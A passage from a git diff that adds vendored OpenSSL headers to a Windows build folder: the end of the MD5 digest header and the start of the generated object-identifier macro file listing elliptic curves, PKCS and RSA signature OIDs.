+#ifdef __cplusplus +extern "C" { +#endif + +#ifdef OPENSSL_NO_MD5 +#error MD5 is disabled. +#endif + +/* + * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + * ! MD5_LONG has to be at least 32 bits wide. If it's wider, then ! + * ! MD5_LONG_LOG2 has to be defined along. ! + * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + */ + +#if defined(OPENSSL_SYS_WIN16) || defined(__LP32__) +#define MD5_LONG unsigned long +#elif defined(OPENSSL_SYS_CRAY) || defined(__ILP64__) +#define MD5_LONG unsigned long +#define MD5_LONG_LOG2 3 +/* + * _CRAY note. I could declare short, but I have no idea what impact + * does it have on performance on none-T3E machines. I could declare + * int, but at least on C90 sizeof(int) can be chosen at compile time. + * So I've chosen long... + * + */ +#else +#define MD5_LONG unsigned int +#endif + +#define MD5_CBLOCK 64 +#define MD5_LBLOCK (MD5_CBLOCK/4) +#define MD5_DIGEST_LENGTH 16 + +typedef struct MD5state_st + { + MD5_LONG A,B,C,D; + MD5_LONG Nl,Nh; + MD5_LONG data[MD5_LBLOCK]; + unsigned int num; + } MD5_CTX; + +#ifdef OPENSSL_FIPS +int private_MD5_Init(MD5_CTX *c); +#endif +int MD5_Init(MD5_CTX *c); +int MD5_Update(MD5_CTX *c, const void *data, size_t len); +int MD5_Final(unsigned char *md, MD5_CTX *c); +unsigned char *MD5(const unsigned char *d, size_t n, unsigned char *md); +void MD5_Transform(MD5_CTX *c, const unsigned char *b); +#ifdef __cplusplus +} +#endif + +#endif diff --git a/winstuff/openssl/obj_mac.h b/winstuff/openssl/obj_mac.h new file mode 100644 index 0000000..ad5f7cf --- /dev/null +++ b/winstuff/openssl/obj_mac.h @@ -0,0 +1,3775 @@ +/* crypto/objects/obj_mac.h */ + +/* THIS FILE IS GENERATED FROM objects.txt by objects.pl via the + * following command: + * perl objects.pl objects.txt obj_mac.num obj_mac.h + */ + +/* Copyright (C) 1995-1997 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#define SN_undef "UNDEF" +#define LN_undef "undefined" +#define NID_undef 0 +#define OBJ_undef 0L + +#define SN_itu_t "ITU-T" +#define LN_itu_t "itu-t" +#define NID_itu_t 645 +#define OBJ_itu_t 0L + +#define NID_ccitt 404 +#define OBJ_ccitt OBJ_itu_t + +#define SN_iso "ISO" +#define LN_iso "iso" +#define NID_iso 181 +#define OBJ_iso 1L + +#define SN_joint_iso_itu_t "JOINT-ISO-ITU-T" +#define LN_joint_iso_itu_t "joint-iso-itu-t" +#define NID_joint_iso_itu_t 646 +#define OBJ_joint_iso_itu_t 2L + +#define NID_joint_iso_ccitt 393 +#define OBJ_joint_iso_ccitt OBJ_joint_iso_itu_t + +#define SN_member_body "member-body" +#define LN_member_body "ISO Member Body" +#define NID_member_body 182 +#define OBJ_member_body OBJ_iso,2L + +#define SN_identified_organization "identified-organization" +#define NID_identified_organization 676 +#define OBJ_identified_organization OBJ_iso,3L + +#define SN_hmac_md5 "HMAC-MD5" +#define LN_hmac_md5 "hmac-md5" +#define NID_hmac_md5 780 +#define OBJ_hmac_md5 OBJ_identified_organization,6L,1L,5L,5L,8L,1L,1L + +#define SN_hmac_sha1 "HMAC-SHA1" +#define LN_hmac_sha1 "hmac-sha1" +#define NID_hmac_sha1 781 +#define OBJ_hmac_sha1 OBJ_identified_organization,6L,1L,5L,5L,8L,1L,2L + +#define SN_certicom_arc "certicom-arc" +#define NID_certicom_arc 677 +#define OBJ_certicom_arc OBJ_identified_organization,132L + +#define SN_international_organizations "international-organizations" +#define LN_international_organizations "International Organizations" +#define NID_international_organizations 647 +#define OBJ_international_organizations OBJ_joint_iso_itu_t,23L + +#define SN_wap "wap" +#define NID_wap 678 +#define OBJ_wap OBJ_international_organizations,43L + +#define SN_wap_wsg "wap-wsg" +#define NID_wap_wsg 679 +#define OBJ_wap_wsg OBJ_wap,13L + +#define SN_selected_attribute_types "selected-attribute-types" +#define LN_selected_attribute_types "Selected Attribute Types" +#define NID_selected_attribute_types 394 +#define OBJ_selected_attribute_types OBJ_joint_iso_itu_t,5L,1L,5L + +#define SN_clearance "clearance" +#define NID_clearance 395 +#define OBJ_clearance OBJ_selected_attribute_types,55L + +#define SN_ISO_US "ISO-US" +#define LN_ISO_US "ISO US Member Body" +#define NID_ISO_US 183 +#define OBJ_ISO_US OBJ_member_body,840L + +#define SN_X9_57 "X9-57" +#define LN_X9_57 "X9.57" +#define NID_X9_57 184 +#define OBJ_X9_57 OBJ_ISO_US,10040L + +#define SN_X9cm "X9cm" +#define LN_X9cm "X9.57 CM ?" +#define NID_X9cm 185 +#define OBJ_X9cm OBJ_X9_57,4L + +#define SN_dsa "DSA" +#define LN_dsa "dsaEncryption" +#define NID_dsa 116 +#define OBJ_dsa OBJ_X9cm,1L + +#define SN_dsaWithSHA1 "DSA-SHA1" +#define LN_dsaWithSHA1 "dsaWithSHA1" +#define NID_dsaWithSHA1 113 +#define OBJ_dsaWithSHA1 OBJ_X9cm,3L + +#define SN_ansi_X9_62 "ansi-X9-62" +#define LN_ansi_X9_62 "ANSI X9.62" +#define NID_ansi_X9_62 405 +#define OBJ_ansi_X9_62 OBJ_ISO_US,10045L + +#define OBJ_X9_62_id_fieldType OBJ_ansi_X9_62,1L + +#define SN_X9_62_prime_field "prime-field" +#define NID_X9_62_prime_field 406 +#define OBJ_X9_62_prime_field OBJ_X9_62_id_fieldType,1L + +#define SN_X9_62_characteristic_two_field "characteristic-two-field" +#define NID_X9_62_characteristic_two_field 407 +#define OBJ_X9_62_characteristic_two_field OBJ_X9_62_id_fieldType,2L + +#define SN_X9_62_id_characteristic_two_basis "id-characteristic-two-basis" +#define NID_X9_62_id_characteristic_two_basis 680 +#define OBJ_X9_62_id_characteristic_two_basis OBJ_X9_62_characteristic_two_field,3L + +#define SN_X9_62_onBasis "onBasis" +#define NID_X9_62_onBasis 681 +#define OBJ_X9_62_onBasis OBJ_X9_62_id_characteristic_two_basis,1L + +#define SN_X9_62_tpBasis "tpBasis" +#define NID_X9_62_tpBasis 682 +#define OBJ_X9_62_tpBasis OBJ_X9_62_id_characteristic_two_basis,2L + +#define SN_X9_62_ppBasis "ppBasis" +#define NID_X9_62_ppBasis 683 +#define OBJ_X9_62_ppBasis OBJ_X9_62_id_characteristic_two_basis,3L + +#define OBJ_X9_62_id_publicKeyType OBJ_ansi_X9_62,2L + +#define SN_X9_62_id_ecPublicKey "id-ecPublicKey" +#define NID_X9_62_id_ecPublicKey 408 +#define OBJ_X9_62_id_ecPublicKey OBJ_X9_62_id_publicKeyType,1L + +#define OBJ_X9_62_ellipticCurve OBJ_ansi_X9_62,3L + +#define OBJ_X9_62_c_TwoCurve OBJ_X9_62_ellipticCurve,0L + +#define SN_X9_62_c2pnb163v1 "c2pnb163v1" +#define NID_X9_62_c2pnb163v1 684 +#define OBJ_X9_62_c2pnb163v1 OBJ_X9_62_c_TwoCurve,1L + +#define SN_X9_62_c2pnb163v2 "c2pnb163v2" +#define NID_X9_62_c2pnb163v2 685 +#define OBJ_X9_62_c2pnb163v2 OBJ_X9_62_c_TwoCurve,2L + +#define SN_X9_62_c2pnb163v3 "c2pnb163v3" +#define NID_X9_62_c2pnb163v3 686 +#define OBJ_X9_62_c2pnb163v3 OBJ_X9_62_c_TwoCurve,3L + +#define SN_X9_62_c2pnb176v1 "c2pnb176v1" +#define NID_X9_62_c2pnb176v1 687 +#define OBJ_X9_62_c2pnb176v1 OBJ_X9_62_c_TwoCurve,4L + +#define SN_X9_62_c2tnb191v1 "c2tnb191v1" +#define NID_X9_62_c2tnb191v1 688 +#define OBJ_X9_62_c2tnb191v1 OBJ_X9_62_c_TwoCurve,5L + +#define SN_X9_62_c2tnb191v2 "c2tnb191v2" +#define NID_X9_62_c2tnb191v2 689 +#define OBJ_X9_62_c2tnb191v2 OBJ_X9_62_c_TwoCurve,6L + +#define SN_X9_62_c2tnb191v3 "c2tnb191v3" +#define NID_X9_62_c2tnb191v3 690 +#define OBJ_X9_62_c2tnb191v3 OBJ_X9_62_c_TwoCurve,7L + +#define SN_X9_62_c2onb191v4 "c2onb191v4" +#define NID_X9_62_c2onb191v4 691 +#define OBJ_X9_62_c2onb191v4 OBJ_X9_62_c_TwoCurve,8L + +#define SN_X9_62_c2onb191v5 "c2onb191v5" +#define NID_X9_62_c2onb191v5 692 +#define OBJ_X9_62_c2onb191v5 OBJ_X9_62_c_TwoCurve,9L + +#define SN_X9_62_c2pnb208w1 "c2pnb208w1" +#define NID_X9_62_c2pnb208w1 693 +#define OBJ_X9_62_c2pnb208w1 OBJ_X9_62_c_TwoCurve,10L + +#define SN_X9_62_c2tnb239v1 "c2tnb239v1" +#define NID_X9_62_c2tnb239v1 694 +#define OBJ_X9_62_c2tnb239v1 OBJ_X9_62_c_TwoCurve,11L + +#define SN_X9_62_c2tnb239v2 "c2tnb239v2" +#define NID_X9_62_c2tnb239v2 695 +#define OBJ_X9_62_c2tnb239v2 OBJ_X9_62_c_TwoCurve,12L + +#define SN_X9_62_c2tnb239v3 "c2tnb239v3" +#define NID_X9_62_c2tnb239v3 696 +#define OBJ_X9_62_c2tnb239v3 OBJ_X9_62_c_TwoCurve,13L + +#define SN_X9_62_c2onb239v4 "c2onb239v4" +#define NID_X9_62_c2onb239v4 697 +#define OBJ_X9_62_c2onb239v4 OBJ_X9_62_c_TwoCurve,14L + +#define SN_X9_62_c2onb239v5 "c2onb239v5" +#define NID_X9_62_c2onb239v5 698 +#define OBJ_X9_62_c2onb239v5 OBJ_X9_62_c_TwoCurve,15L + +#define SN_X9_62_c2pnb272w1 "c2pnb272w1" +#define NID_X9_62_c2pnb272w1 699 +#define OBJ_X9_62_c2pnb272w1 OBJ_X9_62_c_TwoCurve,16L + +#define SN_X9_62_c2pnb304w1 "c2pnb304w1" +#define NID_X9_62_c2pnb304w1 700 +#define OBJ_X9_62_c2pnb304w1 OBJ_X9_62_c_TwoCurve,17L + +#define SN_X9_62_c2tnb359v1 "c2tnb359v1" +#define NID_X9_62_c2tnb359v1 701 +#define OBJ_X9_62_c2tnb359v1 OBJ_X9_62_c_TwoCurve,18L + +#define SN_X9_62_c2pnb368w1 "c2pnb368w1" +#define NID_X9_62_c2pnb368w1 702 +#define OBJ_X9_62_c2pnb368w1 OBJ_X9_62_c_TwoCurve,19L + +#define SN_X9_62_c2tnb431r1 "c2tnb431r1" +#define NID_X9_62_c2tnb431r1 703 +#define OBJ_X9_62_c2tnb431r1 OBJ_X9_62_c_TwoCurve,20L + +#define OBJ_X9_62_primeCurve OBJ_X9_62_ellipticCurve,1L + +#define SN_X9_62_prime192v1 "prime192v1" +#define NID_X9_62_prime192v1 409 +#define OBJ_X9_62_prime192v1 OBJ_X9_62_primeCurve,1L + +#define SN_X9_62_prime192v2 "prime192v2" +#define NID_X9_62_prime192v2 410 +#define OBJ_X9_62_prime192v2 OBJ_X9_62_primeCurve,2L + +#define SN_X9_62_prime192v3 "prime192v3" +#define NID_X9_62_prime192v3 411 +#define OBJ_X9_62_prime192v3 OBJ_X9_62_primeCurve,3L + +#define SN_X9_62_prime239v1 "prime239v1" +#define NID_X9_62_prime239v1 412 +#define OBJ_X9_62_prime239v1 OBJ_X9_62_primeCurve,4L + +#define SN_X9_62_prime239v2 "prime239v2" +#define NID_X9_62_prime239v2 413 +#define OBJ_X9_62_prime239v2 OBJ_X9_62_primeCurve,5L + +#define SN_X9_62_prime239v3 "prime239v3" +#define NID_X9_62_prime239v3 414 +#define OBJ_X9_62_prime239v3 OBJ_X9_62_primeCurve,6L + +#define SN_X9_62_prime256v1 "prime256v1" +#define NID_X9_62_prime256v1 415 +#define OBJ_X9_62_prime256v1 OBJ_X9_62_primeCurve,7L + +#define OBJ_X9_62_id_ecSigType OBJ_ansi_X9_62,4L + +#define SN_ecdsa_with_SHA1 "ecdsa-with-SHA1" +#define NID_ecdsa_with_SHA1 416 +#define OBJ_ecdsa_with_SHA1 OBJ_X9_62_id_ecSigType,1L + +#define SN_ecdsa_with_Recommended "ecdsa-with-Recommended" +#define NID_ecdsa_with_Recommended 791 +#define OBJ_ecdsa_with_Recommended OBJ_X9_62_id_ecSigType,2L + +#define SN_ecdsa_with_Specified "ecdsa-with-Specified" +#define NID_ecdsa_with_Specified 792 +#define OBJ_ecdsa_with_Specified OBJ_X9_62_id_ecSigType,3L + +#define SN_ecdsa_with_SHA224 "ecdsa-with-SHA224" +#define NID_ecdsa_with_SHA224 793 +#define OBJ_ecdsa_with_SHA224 OBJ_ecdsa_with_Specified,1L + +#define SN_ecdsa_with_SHA256 "ecdsa-with-SHA256" +#define NID_ecdsa_with_SHA256 794 +#define OBJ_ecdsa_with_SHA256 OBJ_ecdsa_with_Specified,2L + +#define SN_ecdsa_with_SHA384 "ecdsa-with-SHA384" +#define NID_ecdsa_with_SHA384 795 +#define OBJ_ecdsa_with_SHA384 OBJ_ecdsa_with_Specified,3L + +#define SN_ecdsa_with_SHA512 "ecdsa-with-SHA512" +#define NID_ecdsa_with_SHA512 796 +#define OBJ_ecdsa_with_SHA512 OBJ_ecdsa_with_Specified,4L + +#define OBJ_secg_ellipticCurve OBJ_certicom_arc,0L + +#define SN_secp112r1 "secp112r1" +#define NID_secp112r1 704 +#define OBJ_secp112r1 OBJ_secg_ellipticCurve,6L + +#define SN_secp112r2 "secp112r2" +#define NID_secp112r2 705 +#define OBJ_secp112r2 OBJ_secg_ellipticCurve,7L + +#define SN_secp128r1 "secp128r1" +#define NID_secp128r1 706 +#define OBJ_secp128r1 OBJ_secg_ellipticCurve,28L + +#define SN_secp128r2 "secp128r2" +#define NID_secp128r2 707 +#define OBJ_secp128r2 OBJ_secg_ellipticCurve,29L + +#define SN_secp160k1 "secp160k1" +#define NID_secp160k1 708 +#define OBJ_secp160k1 OBJ_secg_ellipticCurve,9L + +#define SN_secp160r1 "secp160r1" +#define NID_secp160r1 709 +#define OBJ_secp160r1 OBJ_secg_ellipticCurve,8L + +#define SN_secp160r2 "secp160r2" +#define NID_secp160r2 710 +#define OBJ_secp160r2 OBJ_secg_ellipticCurve,30L + +#define SN_secp192k1 "secp192k1" +#define NID_secp192k1 711 +#define OBJ_secp192k1 OBJ_secg_ellipticCurve,31L + +#define SN_secp224k1 "secp224k1" +#define NID_secp224k1 712 +#define OBJ_secp224k1 OBJ_secg_ellipticCurve,32L + +#define SN_secp224r1 "secp224r1" +#define NID_secp224r1 713 +#define OBJ_secp224r1 OBJ_secg_ellipticCurve,33L + +#define SN_secp256k1 "secp256k1" +#define NID_secp256k1 714 +#define OBJ_secp256k1 OBJ_secg_ellipticCurve,10L + +#define SN_secp384r1 "secp384r1" +#define NID_secp384r1 715 +#define OBJ_secp384r1 OBJ_secg_ellipticCurve,34L + +#define SN_secp521r1 "secp521r1" +#define NID_secp521r1 716 +#define OBJ_secp521r1 OBJ_secg_ellipticCurve,35L + +#define SN_sect113r1 "sect113r1" +#define NID_sect113r1 717 +#define OBJ_sect113r1 OBJ_secg_ellipticCurve,4L + +#define SN_sect113r2 "sect113r2" +#define NID_sect113r2 718 +#define OBJ_sect113r2 OBJ_secg_ellipticCurve,5L + +#define SN_sect131r1 "sect131r1" +#define NID_sect131r1 719 +#define OBJ_sect131r1 OBJ_secg_ellipticCurve,22L + +#define SN_sect131r2 "sect131r2" +#define NID_sect131r2 720 +#define OBJ_sect131r2 OBJ_secg_ellipticCurve,23L + +#define SN_sect163k1 "sect163k1" +#define NID_sect163k1 721 +#define OBJ_sect163k1 OBJ_secg_ellipticCurve,1L + +#define SN_sect163r1 "sect163r1" +#define NID_sect163r1 722 +#define OBJ_sect163r1 OBJ_secg_ellipticCurve,2L + +#define SN_sect163r2 "sect163r2" +#define NID_sect163r2 723 +#define OBJ_sect163r2 OBJ_secg_ellipticCurve,15L + +#define SN_sect193r1 "sect193r1" +#define NID_sect193r1 724 +#define OBJ_sect193r1 OBJ_secg_ellipticCurve,24L + +#define SN_sect193r2 "sect193r2" +#define NID_sect193r2 725 +#define OBJ_sect193r2 OBJ_secg_ellipticCurve,25L + +#define SN_sect233k1 "sect233k1" +#define NID_sect233k1 726 +#define OBJ_sect233k1 OBJ_secg_ellipticCurve,26L + +#define SN_sect233r1 "sect233r1" +#define NID_sect233r1 727 +#define OBJ_sect233r1 OBJ_secg_ellipticCurve,27L + +#define SN_sect239k1 "sect239k1" +#define NID_sect239k1 728 +#define OBJ_sect239k1 OBJ_secg_ellipticCurve,3L + +#define SN_sect283k1 "sect283k1" +#define NID_sect283k1 729 +#define OBJ_sect283k1 OBJ_secg_ellipticCurve,16L + +#define SN_sect283r1 "sect283r1" +#define NID_sect283r1 730 +#define OBJ_sect283r1 OBJ_secg_ellipticCurve,17L + +#define SN_sect409k1 "sect409k1" +#define NID_sect409k1 731 +#define OBJ_sect409k1 OBJ_secg_ellipticCurve,36L + +#define SN_sect409r1 "sect409r1" +#define NID_sect409r1 732 +#define OBJ_sect409r1 OBJ_secg_ellipticCurve,37L + +#define SN_sect571k1 "sect571k1" +#define NID_sect571k1 733 +#define OBJ_sect571k1 OBJ_secg_ellipticCurve,38L + +#define SN_sect571r1 "sect571r1" +#define NID_sect571r1 734 +#define OBJ_sect571r1 OBJ_secg_ellipticCurve,39L + +#define OBJ_wap_wsg_idm_ecid OBJ_wap_wsg,4L + +#define SN_wap_wsg_idm_ecid_wtls1 "wap-wsg-idm-ecid-wtls1" +#define NID_wap_wsg_idm_ecid_wtls1 735 +#define OBJ_wap_wsg_idm_ecid_wtls1 OBJ_wap_wsg_idm_ecid,1L + +#define SN_wap_wsg_idm_ecid_wtls3 "wap-wsg-idm-ecid-wtls3" +#define NID_wap_wsg_idm_ecid_wtls3 736 +#define OBJ_wap_wsg_idm_ecid_wtls3 OBJ_wap_wsg_idm_ecid,3L + +#define SN_wap_wsg_idm_ecid_wtls4 "wap-wsg-idm-ecid-wtls4" +#define NID_wap_wsg_idm_ecid_wtls4 737 +#define OBJ_wap_wsg_idm_ecid_wtls4 OBJ_wap_wsg_idm_ecid,4L + +#define SN_wap_wsg_idm_ecid_wtls5 "wap-wsg-idm-ecid-wtls5" +#define NID_wap_wsg_idm_ecid_wtls5 738 +#define OBJ_wap_wsg_idm_ecid_wtls5 OBJ_wap_wsg_idm_ecid,5L + +#define SN_wap_wsg_idm_ecid_wtls6 "wap-wsg-idm-ecid-wtls6" +#define NID_wap_wsg_idm_ecid_wtls6 739 +#define OBJ_wap_wsg_idm_ecid_wtls6 OBJ_wap_wsg_idm_ecid,6L + +#define SN_wap_wsg_idm_ecid_wtls7 "wap-wsg-idm-ecid-wtls7" +#define NID_wap_wsg_idm_ecid_wtls7 740 +#define OBJ_wap_wsg_idm_ecid_wtls7 OBJ_wap_wsg_idm_ecid,7L + +#define SN_wap_wsg_idm_ecid_wtls8 "wap-wsg-idm-ecid-wtls8" +#define NID_wap_wsg_idm_ecid_wtls8 741 +#define OBJ_wap_wsg_idm_ecid_wtls8 OBJ_wap_wsg_idm_ecid,8L + +#define SN_wap_wsg_idm_ecid_wtls9 "wap-wsg-idm-ecid-wtls9" +#define NID_wap_wsg_idm_ecid_wtls9 742 +#define OBJ_wap_wsg_idm_ecid_wtls9 OBJ_wap_wsg_idm_ecid,9L + +#define SN_wap_wsg_idm_ecid_wtls10 "wap-wsg-idm-ecid-wtls10" +#define NID_wap_wsg_idm_ecid_wtls10 743 +#define OBJ_wap_wsg_idm_ecid_wtls10 OBJ_wap_wsg_idm_ecid,10L + +#define SN_wap_wsg_idm_ecid_wtls11 "wap-wsg-idm-ecid-wtls11" +#define NID_wap_wsg_idm_ecid_wtls11 744 +#define OBJ_wap_wsg_idm_ecid_wtls11 OBJ_wap_wsg_idm_ecid,11L + +#define SN_wap_wsg_idm_ecid_wtls12 "wap-wsg-idm-ecid-wtls12" +#define NID_wap_wsg_idm_ecid_wtls12 745 +#define OBJ_wap_wsg_idm_ecid_wtls12 OBJ_wap_wsg_idm_ecid,12L + +#define SN_cast5_cbc "CAST5-CBC" +#define LN_cast5_cbc "cast5-cbc" +#define NID_cast5_cbc 108 +#define OBJ_cast5_cbc OBJ_ISO_US,113533L,7L,66L,10L + +#define SN_cast5_ecb "CAST5-ECB" +#define LN_cast5_ecb "cast5-ecb" +#define NID_cast5_ecb 109 + +#define SN_cast5_cfb64 "CAST5-CFB" +#define LN_cast5_cfb64 "cast5-cfb" +#define NID_cast5_cfb64 110 + +#define SN_cast5_ofb64 "CAST5-OFB" +#define LN_cast5_ofb64 "cast5-ofb" +#define NID_cast5_ofb64 111 + +#define LN_pbeWithMD5AndCast5_CBC "pbeWithMD5AndCast5CBC" +#define NID_pbeWithMD5AndCast5_CBC 112 +#define OBJ_pbeWithMD5AndCast5_CBC OBJ_ISO_US,113533L,7L,66L,12L + +#define SN_id_PasswordBasedMAC "id-PasswordBasedMAC" +#define LN_id_PasswordBasedMAC "password based MAC" +#define NID_id_PasswordBasedMAC 782 +#define OBJ_id_PasswordBasedMAC OBJ_ISO_US,113533L,7L,66L,13L + +#define SN_id_DHBasedMac "id-DHBasedMac" +#define LN_id_DHBasedMac "Diffie-Hellman based MAC" +#define NID_id_DHBasedMac 783 +#define OBJ_id_DHBasedMac OBJ_ISO_US,113533L,7L,66L,30L + +#define SN_rsadsi "rsadsi" +#define LN_rsadsi "RSA Data Security, Inc." +#define NID_rsadsi 1 +#define OBJ_rsadsi OBJ_ISO_US,113549L + +#define SN_pkcs "pkcs" +#define LN_pkcs "RSA Data Security, Inc. PKCS" +#define NID_pkcs 2 +#define OBJ_pkcs OBJ_rsadsi,1L + +#define SN_pkcs1 "pkcs1" +#define NID_pkcs1 186 +#define OBJ_pkcs1 OBJ_pkcs,1L + +#define LN_rsaEncryption "rsaEncryption" +#define NID_rsaEncryption 6 +#define OBJ_rsaEncryption OBJ_pkcs1,1L + +#define SN_md2WithRSAEncryption "RSA-MD2" +#define LN_md2WithRSAEncryption "md2WithRSAEncryption" +#define NID_md2WithRSAEncryption 7 +#define OBJ_md2WithRSAEncryption OBJ_pkcs1,2L + +#define SN_md4WithRSAEncryption "RSA-MD4" +#define LN_md4WithRSAEncryption "md4WithRSAEncryption" +#define NID_md4WithRSAEncryption 396 +#define OBJ_md4WithRSAEncryption OBJ_pkcs1,3L + +#define SN_md5WithRSAEncryption "RSA-MD5" +#define LN_md5WithRSAEncryption "md5WithRSAEncryption" +#define NID_md5WithRSAEncryption 8 +#define OBJ_md5WithRSAEncryption OBJ_pkcs1,4L + +#define SN_sha1WithRSAEncryption "RSA-SHA1" +#define LN_sha1WithRSAEncryption "sha1WithRSAEncryption" +#define NID_sha1WithRSAEncryption 65 +#define OBJ_sha1WithRSAEncryption OBJ_pkcs1,5L + +#define SN_sha256WithRSAEncryption "RSA-SHA256" +#define LN_sha256WithRSAEncryption "sha256WithRSAEncryption" +#define NID_sha256WithRSAEncryption 668 +#define OBJ_sha256WithRSAEncryption OBJ_pkcs1,11L + +#define SN_sha384WithRSAEncryption "RSA-SHA384" +#define LN_sha384WithRSAEncryption "sha384WithRSAEncryption" +#define NID_sha384WithRSAEncryption 669 +#define OBJ_sha384WithRSAEncryption OBJ_pkcs1,12L + +#define SN_sha512WithRSAEncryption "RSA-SHA512" +#define LN_sha512WithRSAEncryption "sha512WithRSAEncryption" +#define NID_sha512WithRSAEncryption 670 +#define OBJ_sha512WithRSAEncryption OBJ_pkcs1,13L + +#define SN_sha224WithRSAEncryption "RSA-SHA224" +#define LN_sha224WithRSAEncryption "sha224WithRSAEncryption" +#define NID_sha224WithRSAEncryption 671 +#define OBJ_sha224WithRSAEncryption OBJ_pkcs1,14L + +#define SN_pkcs3 "pkcs3" +#define NID_pkcs3 27 +#define OBJ_pkcs3 OBJ_pkcs,3L + +#define LN_dhKeyAgreement "dhKeyAgreement" +#define NID_dhKeyAgreement 28 +#define OBJ_dhKeyAgreement OBJ_pkcs3,1L + +#define SN_pkcs5 "pkcs5" +#define NID_pkcs5 187 +#define OBJ_pkcs5 OBJ_pkcs,5L + +#define SN_pbeWithMD2AndDES_CBC "PBE-MD2-DES" +#define LN_pbeWithMD2AndDES_CBC "pbeWithMD2AndDES-CBC" +#define NID_pbeWithMD2AndDES_CBC 9 +#define OBJ_pbeWithMD2AndDES_CBC OBJ_pkcs5,1L + +#define SN_pbeWithMD5AndDES_CBC "PBE-MD5-DES" +#define LN_pbeWithMD5AndDES_CBC "pbeWithMD5AndDES-CBC" +#define NID_pbeWithMD5AndDES_CBC 10 +#define OBJ_pbeWithMD5AndDES_CBC OBJ_pkcs5,3L + +#define SN_pbeWithMD2AndRC2_CBC "PBE-MD2-RC2-64" +#define LN_pbeWithMD2AndRC2_CBC "pbeWithMD2AndRC2-CBC" +#define NID_pbeWithMD2AndRC2_CBC 168 +#define OBJ_pbeWithMD2AndRC2_CBC OBJ_pkcs5,4L + +#define SN_pbeWithMD5AndRC2_CBC "PBE-MD5-RC2-64" +#define LN_pbeWithMD5AndRC2_CBC "pbeWithMD5AndRC2-CBC" +#define NID_pbeWithMD5AndRC2_CBC 169 +#define OBJ_pbeWithMD5AndRC2_CBC OBJ_pkcs5,6L + +#define SN_pbeWithSHA1AndDES_CBC "PBE-SHA1-DES" +#define LN_pbeWithSHA1AndDES_CBC "pbeWithSHA1AndDES-CBC" +#define NID_pbeWithSHA1AndDES_CBC 170 +#define OBJ_pbeWithSHA1AndDES_CBC OBJ_pkcs5,10L + +#define SN_pbeWithSHA1AndRC2_CBC "PBE-SHA1-RC2-64" +#define LN_pbeWithSHA1AndRC2_CBC "pbeWithSHA1AndRC2-CBC" +#define NID_pbeWithSHA1AndRC2_CBC 68 +#define OBJ_pbeWithSHA1AndRC2_CBC OBJ_pkcs5,11L + +#define LN_id_pbkdf2 "PBKDF2" +#define NID_id_pbkdf2 69 +#define OBJ_id_pbkdf2 OBJ_pkcs5,12L + +#define LN_pbes2 "PBES2" +#define NID_pbes2 161 +#define OBJ_pbes2 OBJ_pkcs5,13L + +#define LN_pbmac1 "PBMAC1" +#define NID_pbmac1 162 +#define OBJ_pbmac1 OBJ_pkcs5,14L + +#define SN_pkcs7 "pkcs7" +#define NID_pkcs7 20 +#define OBJ_pkcs7 OBJ_pkcs,7L + +#define LN_pkcs7_data "pkcs7-data" +#define NID_pkcs7_data 21 +#define OBJ_pkcs7_data OBJ_pkcs7,1L + +#define LN_pkcs7_signed "pkcs7-signedData" +#define NID_pkcs7_signed 22 +#define OBJ_pkcs7_signed OBJ_pkcs7,2L + +#define LN_pkcs7_enveloped "pkcs7-envelopedData" +#define NID_pkcs7_enveloped 23 +#define OBJ_pkcs7_enveloped OBJ_pkcs7,3L + +#define LN_pkcs7_signedAndEnveloped "pkcs7-signedAndEnvelopedData" +#define NID_pkcs7_signedAndEnveloped 24 +#define OBJ_pkcs7_signedAndEnveloped OBJ_pkcs7,4L + +#define LN_pkcs7_digest "pkcs7-digestData" +#define NID_pkcs7_digest 25 +#define OBJ_pkcs7_digest OBJ_pkcs7,5L + +#define LN_pkcs7_encrypted "pkcs7-encryptedData" +#define NID_pkcs7_encrypted 26 +#define OBJ_pkcs7_encrypted OBJ_pkcs7,6L + +#define SN_pkcs9 